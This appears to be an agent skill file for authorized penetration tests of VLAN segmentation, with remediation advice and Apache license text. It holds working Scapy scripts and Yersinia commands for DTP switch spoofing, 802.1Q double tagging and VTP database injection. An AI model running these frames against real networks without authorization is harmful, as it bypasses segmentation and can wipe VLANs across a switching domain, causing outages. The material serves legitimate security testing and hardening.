--- name: performing-vlan-hopping-attack-abc60c9ef663 description: >- Simulates VLAN hopping attacks using switch spoofing and 802.1Q double tagging techniques in authorized lab environments to test VLAN segmentation effectiveness and switch port security. Use during an authorized penetration test to validate trunk port hardening, confirm DTP is disabled on access ports, and demonstrate Layer 2 segmentation bypass risk to network teams. domain: cybersecurity subdomain: network-security tags: - network-security - vlan-hopping - layer2-attack - switch-security - 802.1q version: '1.0' author: mahipal license: Apache-2.0 nist_csf: - PR.IR-01 - DE.CM-01 - ID.AM-03 - PR.DS-02 mitre_attack: - T1046 - T1040 - T1557 - T1071 - T1027 --- # Performing VLAN Hopping Attack ## When to Use - Testing the effectiveness of VLAN-based network segmentation during authorized penetration tests - Validating that switch trunk port configurations prevent unauthorized VLAN access - Assessing whether 802.1Q tagging and native VLAN configurations resist double-tagging attacks - Demonstrating to network teams why proper switch hardening is critical for isolation between zones - Verifying that DTP (Dynamic Trunking Protocol) is disabled on all access ports **Do not use** on production switches without explicit authorization and change management approval, against critical infrastructure VLANs (SCADA, medical devices) without safety controls, or as a denial-of-service vector. ## Prerequisites - Written authorization specifying in-scope VLANs and switches for testing - Physical or virtual access to a switch access port on the target network - Yersinia, Scapy, and frogger VLAN hopping tools installed on Kali Linux - Understanding of 802.1Q trunking, DTP, and VLAN tagging at the frame level - Access to switch CLI for verification of configurations (read-only is sufficient) - Wireshark for capturing and verifying tagged frames > **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws. ## Workflow ### Step 1: Enumerate VLAN Configuration ```bash # Identify the current VLAN assignment of the attacker port ip link show eth0 cat /proc/net/vlan/config 2>/dev/null # Use CDP/LLDP to discover switch information sudo tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether proto 0x88cc' 2>/dev/null # Or use lldpd lldpcli show neighbors # If CDP is enabled, capture CDP frames sudo tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether[20:2] == 0x2000' # Use Yersinia to discover DTP and VTP information sudo yersinia -G & # Or command line: sudo yersinia dtp -attack 0 -interface eth0 # This listens for DTP frames to learn trunk negotiation status # Nmap to identify hosts on other VLANs (if routing exists) nmap -sn 10.10.10.0/24 10.10.20.0/24 10.10.30.0/24 ``` ### Step 2: Attempt Switch Spoofing (DTP Attack) ```bash # Use Yersinia to send DTP frames and negotiate a trunk sudo yersinia dtp -attack 1 -interface eth0 # This sends DTP desirable frames to convert the access port to a trunk # If successful, the port becomes a trunk carrying all VLANs # Alternatively, use Scapy to craft DTP frames python3 << 'PYEOF' from scapy.all import * from scapy.contrib.dtp import * # Send DTP desirable frame to negotiate trunk dtp_frame = ( Ether(dst="01:00:0c:cc:cc:cc", src=get_if_hwaddr("eth0")) / LLC(dsap=0xaa, ssap=0xaa, ctrl=3) / SNAP(OUI=0x00000c, code=0x2004) / DTP(tlvlist=[ DTPDomain(type=0x0001, domain=""), DTPStatus(type=0x0002, status=b"\x03"), # Desirable DTPType(type=0x0003, dtptype=b"\xa5"), # 802.1Q trunk DTPNeighbor(type=0x0004, neighbor=get_if_hwaddr("eth0")) ]) ) sendp(dtp_frame, iface="eth0", count=10, inter=1) print("[*] DTP desirable frames sent. Check if trunk is negotiated.") PYEOF # If trunk negotiation succeeds, verify by capturing tagged frames sudo tcpdump -en -i eth0 'vlan' -c 10 # Create VLAN subinterfaces to access other VLANs sudo modprobe 8021q sudo ip link add link eth0 name eth0.10 type vlan id 10 sudo ip addr add 10.10.10.99/24 dev eth0.10 sudo ip link set eth0.10 up sudo ip link add link eth0 name eth0.20 type vlan id 20 sudo ip addr add 10.10.20.99/24 dev eth0.20 sudo ip link set eth0.20 up # Verify access to other VLANs ping -c 3 10.10.10.1 ping -c 3 10.10.20.1 ``` ### Step 3: Attempt Double Tagging Attack ```bash # Double tagging works when: # 1. Attacker is on the native VLAN of the trunk # 2. Target VLAN is different from the native VLAN # 3. The switch strips the outer tag and forwards the inner tag python3 << 'PYEOF' from scapy.all import * # Craft double-tagged frame # Outer tag: Native VLAN (e.g., VLAN 1) # Inner tag: Target VLAN (e.g., VLAN 20 - server VLAN) target_ip = "10.10.20.10" target_mac = "ff:ff:ff:ff:ff:ff" double_tagged = ( Ether(dst=target_mac, src=get_if_hwaddr("eth0")) / Dot1Q(vlan=1) / # Outer tag: native VLAN (will be stripped) Dot1Q(vlan=20) / # Inner tag: target VLAN (will be forwarded) IP(dst=target_ip, src="10.10.20.99") / ICMP(type=8) # Echo request ) # Send the double-tagged frame sendp(double_tagged, iface="eth0", count=5, inter=1) print("[*] Double-tagged frames sent targeting VLAN 20") print("[!] Note: Double tagging is unidirectional - no responses expected") PYEOF # Use frogger for automated VLAN hopping # frogger identifies native VLAN and attempts double tagging sudo frogger # Verify with Wireshark capture on the target VLAN (if possible) # On a monitoring port in VLAN 20: tshark -i eth1 -Y "vlan.id == 20 and icmp" -c 10 ``` ### Step 4: Test VTP (VLAN Trunking Protocol) Attacks ```bash # If VTP is in use, attempt to inject a VTP message with higher revision number # This can overwrite VLAN database across all switches in the domain python3 << 'PYEOF' from scapy.all import * # Craft VTP summary advertisement with high revision number # WARNING: This can disrupt the entire VLAN domain if successful vtp_frame = ( Ether(dst="01:00:0c:cc:cc:cc", src=get_if_hwaddr("eth0")) / LLC(dsap=0xaa, ssap=0xaa, ctrl=3) / SNAP(OUI=0x00000c, code=0x2003) / Raw(load=bytes([ 0x02, # Version 2 0x01, # Summary advertisement 0x00, # Followers 0x06, # Domain name length 0x54, 0x45, 0x53, 0x54, # Domain: "TEST" 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, # High revision number 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # MD5 digest (zeros for lab) ])) ) # Only send in authorized lab environments sendp(vtp_frame, iface="eth0", count=1) print("[*] VTP summary advertisement sent") PYEOF ``` ### Step 5: Verify Switch Configuration Weaknesses ```bash # On the switch (with read access), check for misconfigurations: # Check DTP status on access ports (should be nonegotiate) # show interfaces switchport # Expected: Administrative Mode: static access # Negotiation of Trunking: Off # Check native VLAN configuration (should not be VLAN 1) # show interfaces trunk # Expected: Native VLAN not matching any user VLAN # Check VTP mode (should be transparent or off) # show vtp status # Expected: VTP Mode: Transparent # Check unused ports are disabled # show interfaces status | include disabled # Verify port security is enabled # show port-security ``` ### Step 6: Document Findings and Remediation ```bash # Clean up VLAN subinterfaces sudo ip link del eth0.10 2>/dev/null sudo ip link del eth0.20 2>/dev/null # Stop any running attack tools sudo killall yersinia 2>/dev/null # Document all test results with timestamps cat > vlan_hopping_report.txt << 'EOF' VLAN Hopping Test Results ========================= Test Date: $(date) Tester: Security Assessment Team Authorization: PENTEST-2024-0847 Test 1: DTP Switch Spoofing Result: VULNERABLE - Port negotiated trunk in 3 seconds Access gained to: VLANs 1, 10, 20, 30, 40 Test 2: Double Tagging Result: VULNERABLE - Frames reached VLAN 20 from VLAN 1 Note: Unidirectional only (no return traffic) Test 3: VTP Attack Result: NOT TESTED - VTP in transparent mode EOF ``` ## Key Concepts | Term | Definition | |------|------------| | **VLAN Hopping** | Layer 2 attack technique that allows an attacker to access traffic on VLANs they are not authorized to reach, bypassing network segmentation | | **DTP (Dynamic Trunking Protocol)** | Cisco proprietary protocol that automatically negotiates trunk links between switches; vulnerable to spoofing when not disabled on access ports | | **Double Tagging** | Attack that encapsulates a frame with two 802.1Q tags, exploiting the switch's native VLAN processing to forward the inner-tagged frame to a different VLAN | | **Native VLAN** | VLAN assigned to untagged frames on a trunk port; misconfigurations where the native VLAN matches a user VLAN enable double-tagging attacks | | **VTP (VLAN Trunking Protocol)** | Cisco protocol for propagating VLAN database changes across switches; in server mode, a rogue VTP message with higher revision can overwrite the VLAN database | | **802.1Q** | IEEE standard for VLAN tagging that inserts a 4-byte tag into Ethernet frames to identify VLAN membership across trunk links | ## Tools & Systems - **Yersinia**: Layer 2 attack framework supporting DTP, VTP, STP, CDP, DHCP, and 802.1Q attacks with both GUI and CLI modes - **Scapy**: Python packet manipulation library for crafting custom 802.1Q double-tagged frames and DTP negotiation packets - **frogger**: VLAN hopping tool that automates native VLAN discovery and double-tagging attacks - **Wireshark**: Packet analyzer for verifying VLAN tag contents and confirming frame delivery to target VLANs - **tcpdump**: Command-line capture tool for monitoring 802.1Q tagged frames and DTP/VTP protocol traffic ## Common Scenarios ### Scenario: Testing VLAN Segmentation in a PCI-DSS Cardholder Data Environment **Context**: A retailer needs to verify that their cardholder data environment (CDE) on VLAN 50 is properly isolated from the corporate network (VLAN 10) and guest WiFi (VLAN 30). The network uses Cisco Catalyst switches with 802.1Q trunking. The assessment is authorized to test from a port on VLAN 10. **Approach**: 1. Connect to an access port on VLAN 10 and listen for DTP frames to determine trunk negotiation status 2. Send DTP desirable frames using Yersinia -- the port successfully negotiates a trunk because DTP was not disabled 3. Create a VLAN 50 subinterface and attempt to reach CDE systems (10.10.50.0/24) -- successful, demonstrating segmentation bypass 4. Attempt double tagging from VLAN 1 (native VLAN) to VLAN 50 -- also successful because native VLAN is VLAN 1 5. Document that VLAN segmentation fails as a PCI-DSS control due to DTP misconfiguration 6. Recommend disabling DTP on all access ports, changing native VLAN to an unused VLAN, and enabling port security **Pitfalls**: - DTP spoofing can cause spanning-tree topology changes that disrupt network connectivity - Double tagging may not work if the native VLAN is not VLAN 1 or if the switch is configured properly - VTP attacks in a production environment can delete VLANs across the entire switching domain, causing widespread outages - Forgetting to remove VLAN subinterfaces after testing, leaving unauthorized VLAN access available ## Output Format ``` ## VLAN Hopping Assessment Report **Test ID**: VLAN-HOP-2024-001 **Switch Under Test**: Core-SW1 (Cisco Catalyst 9300) **Attacker Port**: Gi1/0/24 (VLAN 10) **Target VLANs**: VLAN 20 (Servers), VLAN 50 (CDE) ### Test Results | Attack | Target VLAN | Result | Impact | |--------|-------------|--------|--------| | DTP Switch Spoofing | All VLANs | VULNERABLE | Full trunk access gained | | Double Tagging | VLAN 50 | VULNERABLE | Unidirectional access to CDE | | VTP Injection | N/A | NOT VULNERABLE | VTP transparent mode | ### Root Causes 1. DTP not disabled on access port Gi1/0/24 (Administrative mode: dynamic auto) 2. Native VLAN is VLAN 1 (default) on all trunk links 3. Unused ports not shutdown on the switch ### Remediation 1. Disable DTP on all access ports: `switchport nonegotiate` 2. Set all access ports to static mode: `switchport mode access` 3. Change native VLAN to unused VLAN: `switchport trunk native vlan 999` 4. Shutdown all unused ports: `shutdown` 5. Enable port security on access ports 6. Set VTP to transparent mode on all switches ``` --- Source attribution: mukul975 Original project: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/54a798831d2266a3ca61ce68a7acb80b81160d57/skills/performing-vlan-hopping-attack/SKILL.md License: Apache-2.0 License information: https://www.apache.org/licenses/LICENSE-2.0 Original upstream instructions; downloaded from Mega AI Hub. ## Upstream license notice Apache License Version 2.0, January 2004 http://www.apache.org/licenses/ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 1. Definitions. "License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document. "Licensor" shall mean the copyright owner or entity authorized by the copyright owner that is granting the License. "Legal Entity" shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity. "You" (or "Your") shall mean an individual or Legal Entity exercising permissions granted by this License. "Source" form shall mean the preferred form for making modifications, including but not limited to software source code, documentation source, and configuration files. "Object" form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, and conversions to other media types. "Work" shall mean the work of authorship, whether in Source or Object form, made available under the License, as indicated by a copyright notice that is included in or attached to the work (an example is provided in the Appendix below). "Derivative Works" shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) to the interfaces of, the Work and Derivative Works thereof. "Contribution" shall mean any work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to the Licensor for inclusion in the Work by the copyright owner or by an individual or Legal Entity authorized to submit on behalf of the copyright owner. For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the copyright owner as "Not a Contribution." "Contributor" shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by the Licensor and subsequently incorporated within the Work. 2. Grant of Copyright License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form. 3. Grant of Patent License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed. 4. Redistribution. You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions: (a) You must give any other recipients of the Work or Derivative Works a copy of this License; and (b) You must cause any modified files to carry prominent notices stating that You changed the files; and (c) You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and (d) If the Work includes a "NOTICE" text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding any notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License. You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License. 5. Submission of Contributions. Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions. 6. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file. 7. Disclaimer of Warranty. Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor provides its Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License. 8. Limitation of Liability. In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if such Contributor has been advised of the possibility of such damages. 9. Accepting Warranty or Additional Liability. While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability. END OF TERMS AND CONDITIONS APPENDIX: How to apply the Apache License to your work. To apply the Apache License to your work, attach the following boilerplate notice, with the fields enclosed by brackets "[]" replaced with your own identifying information. (Don't include the brackets!) The text should be enclosed in the appropriate comment syntax for the file format. Please do not remove or change the license header comment from a contributed file except when necessary. Copyright 2026 mukul975 Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. # Mega AI Hub resource metadata Creator / publisher: mukul975 Original project: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/54a798831d2266a3ca61ce68a7acb80b81160d57/skills/performing-vlan-hopping-attack/SKILL.md Attribution basis: Source repository record Fields of work: Development & Engineering Roles: Security Engineer Specialties: Testing Tools: Scapy, Wireshark, Yersinia Country applicability: Country not specified Classification basis: Source catalog labels Instruction SHA-256: d8bcbd5f915446eaea711b9796b3165cf8f9035a9480bd36443e7cee7199ab14